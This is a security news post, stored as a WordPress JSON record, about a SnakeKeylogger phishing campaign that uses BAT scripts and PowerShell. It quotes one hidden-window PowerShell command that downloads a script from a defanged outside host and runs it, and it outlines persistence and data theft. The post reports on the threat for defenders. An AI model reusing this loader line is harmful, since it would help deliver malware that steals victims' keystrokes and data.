{"id":7567,"date":"2025-10-10T10:03:05","date_gmt":"2025-10-10T10:03:05","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/10\/10\/snakekeylogger-via-weaponized-e-mails-leverage-powershell-to-exfiltrate-sensitive-data\/"},"modified":"2025-10-10T10:03:05","modified_gmt":"2025-10-10T10:03:05","slug":"snakekeylogger-via-weaponized-e-mails-leverage-powershell-to-exfiltrate-sensitive-data","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/10\/10\/snakekeylogger-via-weaponized-e-mails-leverage-powershell-to-exfiltrate-sensitive-data\/","title":{"rendered":"SnakeKeylogger via Weaponized E-mails Leverage PowerShell to Exfiltrate Sensitive Data"},"content":{"rendered":"

SnakeKeylogger via Weaponized E-mails Leverage PowerShell to Exfiltrate Sensitive Data
\n \t

\n
<\/BR>
\n
\n \t

\n
<\/BR><\/p>\n

\n

Emerging from a recent wave of targeted campaigns, SnakeKeylogger<\/strong> has surfaced as a potent infostealer that capitalizes on PowerShell and social engineering.<\/p>\n

The malware\u2019s operators craft convincing spear-phishing e-mails under aliases such as \u201cCPA-Payment Files,\u201d impersonating reputable financial and research firms.<\/p>\n

Recipients encounter ISO or ZIP attachments containing a seemingly innocuous BAT script. Once executed, this script downloads and launches a PowerShell payload designed to harvest keystrokes and system information before exfiltrating data to a remote server.<\/p>\n

Gen Threat Labs analysts noted<\/a> the malware\u2019s seamless blend of legitimate Windows utilities and custom scripting for stealth and rapid deployment.<\/p>\n

After opening the attachment, victims unwittingly activate a BAT file resembling the following snippet:<\/p>\n

@echo off\npowershell -NoP -NonI -W Hidden -Exec Bypass -Command \"& {iwr hxxp:\/\/fxa.sabitaxt.com\/mc55tP.ps1 -OutFile %TEMP%snake.ps1; Start-Process powershell -ArgumentList '-NoP -NonI -W Hidden -Exec Bypass -File %TEMP%snake.ps1'}\"<\/code><\/pre>\n
This approach bypasses standard execution policies and conceals visible windows, allowing SnakeKeylogger to operate without raising suspicion.<\/p>\n
The PowerShell script<\/a>, once loaded, establishes persistence by creating scheduled tasks and registry entries, ensuring the malware survives reboots and avoids cursory incident response efforts.<\/p>\n
Beyond initial delivery, SnakeKeylogger\u2019s impact lies in its minimalist but efficient data collection routines. Upon activation, the script invokes Windows API functions to capture keystrokes, clipboard contents, and active window titles.<\/p>\n
Collected information is batched and encoded before transmission to a command-and-control server.<\/p>\n
\n
\n
\n
\n
\"\ud83d\udea8\"We are observing a new active #infostealer<\/a> #SnakeKeylogger<\/a> campaign. The threat is distributed via e-mails \"\ud83d\udce7\" with sender aliases such as “CPA-Payment Files” impersonating CPAGlobal \/ @Clarivate<\/a>.
The e-mails contain ISO or ZIP files containing malicious BAT script downloading\u2026 pic.twitter.com\/4I15XleVyH<\/a><\/p>\n
\u2014 Gen Threat Labs (@GenThreatLabs) October 9, 2025<\/a>\n<\/p><\/blockquote>\n